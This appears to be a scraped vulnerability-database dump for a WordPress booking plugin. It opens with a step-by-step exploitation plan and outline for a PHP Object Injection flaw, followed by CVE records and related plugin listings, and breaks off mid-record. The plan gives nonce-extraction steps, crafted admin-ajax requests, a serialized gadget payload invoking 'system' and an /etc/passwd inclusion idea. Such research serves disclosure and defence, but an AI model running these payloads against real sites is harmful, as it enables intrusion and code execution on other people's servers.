```bash\n   grep -rn \"add_action\" . | grep -E \"wp_ajax_|init|admin_init|save_post\"\n   ```\n\n3. **Inferred Vulnerable Pattern:**\n   The vulnerability likely resides in an AJAX handler that processes complex data structures submitted by the user when configuring a rental item or booking.\n\n## 4. Nonce Acquisition Strategy\nIf the vulnerability is triggered via an AJAX handler, a nonce is almost certainly required.\n\n1. **Identify Script Localization:**\n   Look for `wp_localize_script` in the plugin code to find the JS variable containing the nonce:\n   ```bash\n   grep -rn \"wp_localize_script\" .\n   ```\n2. **Setup Page:**\n   Identify the post type used by the plugin (e.g., `inventory`, `rental`). Create a new post of this type to ensure the plugin's admin scripts are loaded:\n   ```bash\n   wp post create --post_type=inventory --post_status=publish --post_title=\"Exploit Test\" --post_author=[CONTRIBUTOR_ID]\n   ```\n3. **Extract Nonce:**\n   - Log in as the Contributor user.\n   - Navigate to the editor for the newly created post: `\u002Fwp-admin\u002Fpost.php?post=[ID]&action=edit`.\n   - Use `browser_eval` to extract the nonce:\n     ```javascript\n     \u002F\u002F Example based on common plugin patterns (Verify actual key via grep)\n     window.rbm_admin_params?.nonce || window.inventory_data?.ajax_nonce\n     ```\n\n## 5. Exploitation Strategy\nOnce the endpoint and parameter are identified:\n\n1. **Identify Gadget Chain:** Since no POP chain is present in the plugin, use a simple `stdClass` or a common WordPress core gadget (if applicable to the PHP version) to demonstrate injection.\n2. **Craft Payload:**\n   ```php\n   \u002F\u002F Simple PHP object to test deserialization\n   $object = new stdClass();\n   echo serialize($object); \u002F\u002F O:8:\"stdClass\":0:{}\n   ```\n3. **Submit Request:**\n   Use the `http_request` tool to send the payload to `admin-ajax.php`.\n\n   **Example Request Template:**\n   ```http\n   POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n   Content-Type: application\u002Fx-www-form-urlencoded\n   Cookie: [CONTRIBUTOR_COOKIES]\n\n   action=[VULNERABLE_ACTION]&nonce=[EXTRACTED_NONCE]&[VULNERABLE_PARAM]=O:8:\"stdClass\":0:{}\n   ```\n\n## 6. Test Data Setup\n1. **User Creation:**\n   ```bash\n   wp user create attacker attacker@example.com --role=contributor --user_pass=password123\n   ```\n2. **Plugin Configuration:**\n   Ensure at least one \"Rental\" or \"Inventory\" item exists if the vulnerable function processes existing items.\n3. **Environment Prep:**\n   Enable `WP_DEBUG` and `WP_DEBUG_LOG` to capture any errors or notices generated during deserialization of an unexpected object.\n\n## 7. Expected Results\n- **Success Criteria:** The server processes the request without a 403 error (nonce bypass\u002Fvalidity) and the PHP process attempts to instantiate the injected object.\n- **Proof of Concept:** If a class with a `__destruct` or `__wakeup` method is targeted, evidence of its execution (e.g., a file created, a log entry, or a DNS interaction via `O:14:\"Requests_Hooks\":1:{s:5:\"hooks\";a:1:{s:13:\"before_insert\";a:1:{i:0;a:1:{i:0;s:6:\"system\";}}s:4:\"data\";s:13:\"touch \u002Ftmp\u002Fvulnerable\";}}` if the environment permits) will confirm the vulnerability.\n\n## 8. Verification Steps\n1. **Check Logs:** Inspect `\u002Fvar\u002Fwww\u002Fhtml\u002Fwp-content\u002Fdebug.log` for deserialization errors or custom log messages.\n2. **Database Verification:** If the injected data is saved to `post_meta`, verify the contents using WP-CLI:\n   ```bash\n   wp post meta get [POST_ID] [META_KEY]\n   ```\n3. **Filesystem Check:** If the payload was designed to create a file (via a gadget chain):\n   ```bash\n   ls \u002Ftmp\u002Fvulnerable\n   ```\n\n## 9. Alternative Approaches\n- **LFI\u002FRFI via Object Injection:** If the plugin includes classes that handle file paths in their magic methods, attempt to point them at sensitive files (`\u002Fetc\u002Fpasswd`).\n- **Post Save Hook:** If the AJAX path is secure, check if the Contributor can submit the payload via the `wp-admin\u002Fpost.php` (saving a post) where `maybe_unserialize` might be called on metadata during the load or save process.\n- **Shortcode Execution:** Check if a shortcode attribute is passed to `unserialize`. As a Contributor, create a post with:\n  `[rental_shortcode data=\"O:8:\\\"stdClass\\\":0:{}\"]` and view the post.","The Booking and Rental Manager for WooCommerce plugin for WordPress is vulnerable to PHP Object Injection in versions up to and including 2.5.9. This vulnerability allows authenticated attackers with Contributor-level access or higher to inject PHP objects through the deserialization of untrusted input, potentially leading to remote code execution if a suitable POP chain is present.","1. Authenticate to the WordPress site as a user with at least Contributor-level privileges.\n2. Identify a functionality that processes complex booking or rental data, such as inventory settings, pricing rules, or extra options, which likely uses `unserialize()` or `maybe_unserialize()` on user-supplied metadata.\n3. Extract the required security nonce from the admin page's source or localized script variables (e.g., `rbm_admin_params.nonce`).\n4. Prepare a serialized PHP object payload. If no specific gadget chain is found within the plugin, use a common gadget from WordPress core or another installed plugin to demonstrate impact.\n5. Send a POST request to `wp-admin\u002Fadmin-ajax.php` or `wp-admin\u002Fpost.php` containing the malicious payload in the identified parameter (e.g., `rental_data` or `booking_meta`).\n6. The vulnerability is triggered when the application deserializes the untrusted input, executing magic methods in the injected object.","2026-04-21 02:35:42","2026-04-21 02:36:06",{"id":85,"url_slug":86,"title":87,"description":88,"plugin_slug":4,"theme_slug":39,"affected_versions":89,"patched_in_version":90,"severity":69,"cvss_score":91,"cvss_vector":92,"vuln_type":93,"published_date":94,"updated_date":95,"references":96,"days_to_patch":53,"patch_diff_files":98,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-49904","booking-and-rental-manager-unauthenticated-stored-cross-site-scripting","Booking and Rental Manager \u003C= 2.5.3 - Unauthenticated Stored Cross-Site Scripting","The Booking and Rental Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 2.5.3 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.","\u003C=2.5.3","2.5.4",7.2,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","2025-11-01 00:00:00","2025-11-03 18:07:15",[97],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F5de24a9e-0af3-44d7-af0b-06689a3e3bc5?source=api-prod",[],{"id":100,"url_slug":101,"title":102,"description":103,"plugin_slug":4,"theme_slug":39,"affected_versions":104,"patched_in_version":105,"severity":69,"cvss_score":70,"cvss_vector":71,"vuln_type":72,"published_date":106,"updated_date":107,"references":108,"days_to_patch":110,"patch_diff_files":111,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-64266","booking-and-rental-manager-authenticated-contributor-php-object-injection-2","Booking and Rental Manager \u003C= 2.5.4 - Authenticated (Contributor+) PHP Object Injection","The Booking and Rental Manager plugin for WordPress is vulnerable to PHP Object Injection in versions up to, and including, 2.5.4 via deserialization of untrusted input. This makes it possible for authenticated attackers, with contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software. If a POP chain is present via an additional plugin or theme installed on the target system, it could allow the attacker to delete arbitrary files, retrieve sensitive data, or execute code.","\u003C=2.5.4","2.5.5","2025-09-20 00:00:00","2025-12-20 19:18:27",[109],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fcdcae7fe-1cc1-4168-8b4b-fcee5bf91be2?source=api-prod",92,[],{"id":113,"url_slug":114,"title":115,"description":116,"plugin_slug":4,"theme_slug":39,"affected_versions":117,"patched_in_version":118,"severity":42,"cvss_score":119,"cvss_vector":120,"vuln_type":45,"published_date":121,"updated_date":122,"references":123,"days_to_patch":125,"patch_diff_files":126,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-47585","booking-and-rental-manager-missing-authorization","Booking and Rental Manager \u003C= 2.3.8 - Missing Authorization","The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.3.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.","\u003C=2.3.8","2.3.9",5.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:N\u002FI:L\u002FA:N","2025-05-22 00:00:00","2025-05-28 15:16:30",[124],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F0312cea9-8205-4d09-874d-aef319d15c65?source=api-prod",7,[],{"id":128,"url_slug":129,"title":130,"description":131,"plugin_slug":4,"theme_slug":39,"affected_versions":132,"patched_in_version":133,"severity":42,"cvss_score":119,"cvss_vector":120,"vuln_type":45,"published_date":134,"updated_date":135,"references":136,"days_to_patch":138,"patch_diff_files":139,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-39390","booking-and-rental-manager-missing-authorization-3","Booking and Rental Manager \u003C= 2.3.6 - Missing Authorization","The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.3.6. This makes it possible for unauthenticated attackers to perform an unauthorized action.","\u003C=2.3.6","2.3.7","2025-04-18 00:00:00","2025-05-09 13:17:51",[137],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F747a3efc-c0fb-4b3c-bc17-7b6306b17d4f?source=api-prod",22,[],{"id":141,"url_slug":142,"title":143,"description":144,"plugin_slug":4,"theme_slug":39,"affected_versions":145,"patched_in_version":146,"severity":42,"cvss_score":119,"cvss_vector":120,"vuln_type":45,"published_date":147,"updated_date":148,"references":149,"days_to_patch":151,"patch_diff_files":152,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-39457","booking-and-rental-manager-missing-authorization-2","Booking and Rental Manager \u003C= 2.2.8 - Missing Authorization","The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.2.8. This makes it possible for unauthenticated attackers to perform an unauthorized action.","\u003C=2.2.8","2.2.9","2025-04-17 00:00:00","2025-04-21 19:02:26",[150],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F32207aa7-9298-4c92-98d4-5529b259b381?source=api-prod",5,[],{"id":154,"url_slug":155,"title":156,"description":157,"plugin_slug":4,"theme_slug":39,"affected_versions":145,"patched_in_version":146,"severity":69,"cvss_score":158,"cvss_vector":159,"vuln_type":160,"published_date":161,"updated_date":162,"references":163,"days_to_patch":165,"patch_diff_files":166,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-27011","booking-and-rental-manager-authenticated-contributor-local-file-inclusion","Booking and Rental Manager \u003C= 2.2.8 - Authenticated (Contributor+) Local File Inclusion","The Booking and Rental Manager plugin for WordPress is vulnerable to Local File Inclusion in versions up to, and including, 2.2.8. This makes it possible for authenticated attackers, with contributor-level access and above, to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other “safe” file types can be uploaded and included.",8.8,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:H\u002FI:H\u002FA:H","Improper Control of Filename for Include\u002FRequire Statement in PHP Program ('PHP Remote File Inclusion')","2025-04-11 00:00:00","2025-04-16 20:22:21",[164],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F08fe2e28-5b19-4ce6-914a-304fe82a8ee0?source=api-prod",6,[],{"id":168,"url_slug":169,"title":170,"description":171,"plugin_slug":4,"theme_slug":39,"affected_versions":172,"patched_in_version":173,"severity":69,"cvss_score":158,"cvss_vector":159,"vuln_type":72,"published_date":174,"updated_date":175,"references":176,"days_to_patch":178,"patch_diff_files":179,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-26921","booking-and-rental-manager-for-bike-car-resort-appointment-dress-equipment-authenticated-contributor-php-object-injectio","Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment \u003C= 2.2.6 - Authenticated (Contributor+) PHP Object Injection","The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to PHP Object Injection in all versions up to, and including, 2.2.6 via deserialization of untrusted input. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject a PHP Object. No known POP chain is present in the vulnerable software, which means this vulnerability has no impact unless another plugin or theme containing a POP chain is installed on the site. If a POP chain is present via an additional plugin or theme installed on the target system, it may allow the attacker to perform actions like delete arbitrary files, retrieve sensitive data, or execute code depending on the POP chain present.","\u003C=2.2.6","2.2.7","2025-02-23 00:00:00","2025-04-17 14:36:07",[177],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Ffab0a42e-fa99-4451-91fd-c924a33d33c8?source=api-prod",54,[],{"id":181,"url_slug":182,"title":183,"description":184,"plugin_slug":4,"theme_slug":39,"affected_versions":185,"patched_in_version":186,"severity":42,"cvss_score":119,"cvss_vector":120,"vuln_type":45,"published_date":187,"updated_date":188,"references":189,"days_to_patch":191,"patch_diff_files":192,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2025-22720","booking-and-rental-manager-for-bike-car-resort-appointment-dress-equipment-plugin-for-wordpress-missing-authorization","Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress \u003C= 2.2.1 - Missing Authorization","The Booking and Rental Manager for Bike | Car | Resort | Appointment | Dress | Equipment plugin for WordPress is vulnerable to unauthorized access due to a missing capability check on a function in all versions up to, and including, 2.2.1. This makes it possible for unauthenticated attackers to perform an unauthorized action.","\u003C=2.2.1","2.2.2","2025-01-15 00:00:00","2025-02-25 15:00:26",[190],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F9df7f70f-0374-46b7-a3aa-a84a6aea2f86?source=api-prod",42,[],{"id":194,"url_slug":195,"title":196,"description":197,"plugin_slug":4,"theme_slug":39,"affected_versions":185,"patched_in_version":186,"severity":42,"cvss_score":198,"cvss_vector":199,"vuln_type":93,"published_date":200,"updated_date":201,"references":202,"days_to_patch":204,"patch_diff_files":205,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2024-12412","rental-and-booking-manager-for-bike-car-dress-resort-with-woocommerce-integration-wprently-wordpress-plugin-reflected-cr","Rental and Booking Manager for Bike, Car, Dress, Resort with WooCommerce Integration – WpRently | WordPress plugin \u003C= 2.2.1 - Reflected Cross-Site Scripting","The Rental and Booking Manager for Bike, Car, Dress, Resort with WooCommerce Integration – WpRently | WordPress plugin plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘active_tab’ parameter in all versions up to, and including, 2.2.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.",6.1,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:R\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2025-01-10 19:06:05","2025-01-31 14:45:59",[203],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fb0cde64f-2533-46e0-9268-b9d100fb0a82?source=api-prod",21,[],{"id":207,"url_slug":208,"title":209,"description":210,"plugin_slug":4,"theme_slug":39,"affected_versions":211,"patched_in_version":212,"severity":42,"cvss_score":213,"cvss_vector":214,"vuln_type":93,"published_date":215,"updated_date":216,"references":217,"days_to_patch":219,"patch_diff_files":220,"patch_trac_url":39,"research_status":39,"research_verified":52,"research_rounds_completed":29,"research_plan":39,"research_summary":39,"research_vulnerable_code":39,"research_fix_diff":39,"research_exploit_outline":39,"research_model_used":39,"research_started_at":39,"research_completed_at":39,"research_error":39,"poc_status":39,"poc_video_id":39,"poc_summary":39,"poc_steps":39,"poc_tested_at":39,"poc_wp_version":39,"poc_php_version":39,"poc_playwright_script":39,"poc_exploit_code":39,"poc_has_trace":52,"poc_model_used":39,"poc_verification_depth":39},"CVE-2023-35048","booking-and-rental-manager-authenticated-administrator-stored-cross-site-scripting","Booking and Rental Manager \u003C= 1.2.1 - Authenticated (Administrator+) Stored Cross-Site Scripting","The Booking and Rental Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in versions up to, and including, 1.2.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only impacts multi-site installations and installations where unfiltered_html has been disabled.","\u003C=1.2.1","1.2.2",4.4,"CVSS:3.1\u002FAV:N\u002FAC:H\u002FPR:H\u002FUI:N\u002FS:C\u002FC:L\u002FI:L\u002FA:N","2023-06-13 00:00:00","2024-01-22 19:56:02",[218],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F6e7c629f-e9c6-4254-ba37-46de5206d77d?source=api-prod",224,[],{"slug":7,"display_name":7,"profile_url":8,"plugin_count":49,"total_installs":222,"avg_security_score":223,"avg_patch_time_days":224,"trust_score":225,"computed_at":226},12480,85,90,78,"2026-05-19T23:57:05.867Z",[228,248,268,291,312],{"slug":229,"name":230,"version":231,"author":232,"author_profile":233,"description":234,"short_description":235,"active_installs":236,"downloaded":237,"rating":29,"num_ratings":29,"last_updated":238,"tested_up_to":239,"requires_at_least":240,"requires_php":241,"tags":242,"homepage":246,"download_link":247,"security_score":223,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"indexic-areservation","indexic aReservation","1.3.1","indexicmf","https:\u002F\u002Fprofiles.wordpress.org\u002Findexicmf\u002F","\u003Cp>Indexic aReservation is cloud based software makes it possible to keep all the moving parts of your tour or rental business organized in one convenient place and running efficiently. From taking bookings, to signing waivers, scheduling your staff, tracking equipment availability, communicating with your clientele, and more, we’re here to help your business scale without sacrificing the customer experience.\u003C\u002Fp>\n\u003Cp>This plugin makes it easy to integrate the online booking process into you WordPress website.  A 3rd party script from indexic’s aReservation website will be inserted into your WordPress website pages.  This script will allow for a seamless integration of the booking purchasing process on aReservation with your website.  If you prefer not to include the script, the quick codes will still work but will simply be links to the 3rd party website aReservation.com.\u003C\u002Fp>\n\u003Cp>Since this plugin is designed to ease the integration of indexic’s aReservation online booking process you must have an aReservation company account set up first for this plugin to be of any value to you.  If you don’t already have your company set up you can visit https:\u002F\u002Findexic.net to learn about indexic’s aReservation service.\u003C\u002Fp>\n\u003Cp>indexic’s privacy policy can be found here: https:\u002F\u002Fwp.indexic.net\u002Fprivacy-policy\u002F\u003Cbr \u002F>\nThe aReservation terms of service here: https:\u002F\u002Feventbookmanager.com\u002FContent\u002FIndexic_Seller_Terms_and_Conditions.pdf\u003C\u002Fp>\n","Easily integrate Indexic's aReservation Tour Booking and Rental Reservation Software into your WordPress website.  You can add booking buttons wi &hellip;",60,1375,"2020-09-04T20:11:00.000Z","5.5.18","3.0","",[243,20,21,244,245],"booking","reservations","tours","https:\u002F\u002Findexic.net\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Findexic-areservation.zip",{"slug":249,"name":250,"version":251,"author":252,"author_profile":253,"description":254,"short_description":255,"active_installs":256,"downloaded":257,"rating":29,"num_ratings":29,"last_updated":258,"tested_up_to":259,"requires_at_least":260,"requires_php":18,"tags":261,"homepage":266,"download_link":267,"security_score":110,"vuln_count":29,"unpatched_count":29,"last_vuln_date":39,"fetched_at":31},"rentme-woo","Rentme Woo","1.0.1","icubeswp","https:\u002F\u002Fprofiles.wordpress.org\u002Ficubeswp\u002F","\u003Cp>\u003Cstrong>Introducing RentMe Woo, a WooCommerce-enabled booking and rental plugin that supercharges your online booking and rental business!\u003C\u002Fstrong> Our plugin makes it effortless to list a wide range of products for rent, including cars, motorbikes, yachts, vacation properties, equipment, and more.\u003C\u002Fp>\n\u003Ch4>Streamlined Booking Process\u003C\u002Fh4>\n\u003Cp>RentMe Woo provides a WooCommerce-enabled booking form, allowing product owners to receive rental bookings. You can choose whether customers should pay the full amount upfront or a deposit to secure their reservation.\u003C\u002Fp>\n\u003Ch4>Effortless Lead Collection\u003C\u002Fh4>\n\u003Cp>For business owners who prefer to gather customer leads without immediate bookings, we provide a convenient request form. This feature allows you to capture inquiries and contact information from potential customers interested in your rental offerings.\u003C\u002Fp>\n\u003Ch3>How RentMe Woo Enhances Your Rental Business\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>\n\u003Cp>Flexible Booking Options:\u003C\u002Fp>\n\u003Cp>Customers who prefer online booking can easily select their desired dates, specify the number of adults and children in their group, and even choose additional services if needed.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Hourly and Daily Pricing:\u003C\u002Fp>\n\u003Cp>Admins have the freedom to set pricing based on various factors, such as hourly rates, daily rates, or specific days of the week. You can also decide whether the pricing follows the checkout date or another designated day, giving you pricing flexibility.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Deposit and Payment Options:\u003C\u002Fp>\n\u003Cp>RentMe Woo offers deposit options for flexible pricing or allows partial payments for bookings, making it convenient for customers to secure their rentals.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Additional Services & Products:\u003C\u002Fp>\n\u003Cp>For example, if you are offering rentals for scooters, you can easily add extra services like helmets or toolkits, with customizable pricing options to enhance the rental experience.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Customizable Labels and Placeholders:\u003C\u002Fp>\n\u003Cp>Within the admin settings, RentMe Woo offers complete control over labels and placeholders. Customize them to align with your branding and business style, ensuring a seamless and personalized booking experience for your customers.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003Cli>\n\u003Cp>Convenient Request Booking Form:\u003C\u002Fp>\n\u003Cp>For those who prefer a more traditional approach, RentMe Woo includes a lead generation form that lets users send inquiries or questions about their bookings. You have the flexibility to enable or disable this feature as needed.\u003C\u002Fp>\n\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Cp>In a nutshell, RentMe Woo is your all-in-one solution for managing online bookings, inquiries, and rental services. It\\’s user-friendly and highly adaptable, allowing you to tailor your rental business to your specific needs. Try RentMe Woo today and take your rental business to the next level!\u003C\u002Fp>\n\u003Ch3>Why Choose Us\u003C\u002Fh3>\n\u003Cp>RentMe Woo empowers your rental business with seamless functionality. Our mission is clear: to simplify rentals and enhance your profitability. It ensures your business runs smoothly, generates more revenue, and delivers exceptional experiences.\u003C\u002Fp>\n\u003Ch3>Features for Free Version of RentMe Woo\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>User-Friendly Interface for Admin & Customer\u003C\u002Fli>\n\u003Cli>Seamless Integration With Your Website\u003C\u002Fli>\n\u003Cli>Impressive UI And UX for Rental Booking System\u003C\u002Fli>\n\u003Cli>Flexible Rental Options\u003C\u002Fli>\n\u003Cli>Rent for Single Day\u003C\u002Fli>\n\u003Cli>Rent for Multiple Days\u003C\u002Fli>\n\u003Cli>Hourly Price Configuration\u003C\u002Fli>\n\u003Cli>Day\u002FFlat Price Configuration\u003C\u002Fli>\n\u003Cli>Customizable Booking Form\u003C\u002Fli>\n\u003Cli>Capture Inquiries through Request Forms\u003C\u002Fli>\n\u003Cli>Customizable Labels and Placeholders for Forms\u003C\u002Fli>\n\u003Cli>Easy And Quick Configuration Options\u003C\u002Fli>\n\u003Cli>Individual Booking Cost Per Product\u003C\u002Fli>\n\u003Cli>Unlimited Bookable Products\u003C\u002Fli>\n\u003Cli>Customizable Thank You Page Email Notification\u003C\u002Fli>\n\u003Cli>Support for all WooCommerce Payment Methods\u003C\u002Fli>\n\u003Cli>Flexible Adult and Children Limits\u003C\u002Fli>\n\u003Cli>Email Support\u003C\u002Fli>\n\u003Cli>Used Google Fonts\u003C\u002Fli>\n\u003Cli>Gutenberg Optimized\u003C\u002Fli>\n\u003Cli>Well-Structured, Commented Code\u003C\u002Fli>\n\u003Cli>W3C Validated\u003C\u002Fli>\n\u003C\u002Ful>\n\u003Ch3>Popular Features for Pro Version of RentMe Woo\u003C\u002Fh3>\n\u003Cul>\n\u003Cli>Day Wise Price Configuration\u003C\u002Fli>\n\u003Cli>Deposit Payment\u003C\u002Fli>\n\u003Cli>Custom Extra Services\u003C\u002Fli>\n\u003Cli>Booking Calendar\u003C\u002Fli>\n\u003Cli>Discount Codes\u003C\u002Fli>\n\u003Cli>Share Payment Links\u003C\u002Fli>\n\u003Cli>Automatic Blocking of Booked Days\u003C\u002Fli>\n\u003Cli>Priority Support\u003C\u002Fli>\n\u003C\u002Ful>\n","Transform your WooCommerce store into a powerful booking and rental platform with our feature-rich plugin.",20,2092,"2024-06-11T16:05:00.000Z","6.4.8","5.5",[262,263,264,21,265],"booking-calender","booking-plugin","rental","woocommerce-rental-plugin","https:\u002F\u002Frentmewp.com\u002F","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Frentme-woo.1.0.1.zip",{"slug":269,"name":270,"version":271,"author":272,"author_profile":273,"description":274,"short_description":275,"active_installs":276,"downloaded":277,"rating":27,"num_ratings":278,"last_updated":279,"tested_up_to":280,"requires_at_least":281,"requires_php":282,"tags":283,"homepage":287,"download_link":288,"security_score":27,"vuln_count":289,"unpatched_count":29,"last_vuln_date":290,"fetched_at":31},"bookly-responsive-appointment-booking-tool","Online Scheduling and Appointment Booking System – Bookly","27.4","Bookly","https:\u002F\u002Fprofiles.wordpress.org\u002Fladela\u002F","\u003Cp>\u003Cstrong>Bookly\u003C\u002Fstrong> is a free \u003Cstrong>scheduling plugin for WordPress\u003C\u002Fstrong> that allows accepting \u003Cstrong>online bookings\u003C\u002Fstrong> on your website and automating your \u003Cstrong>reservation 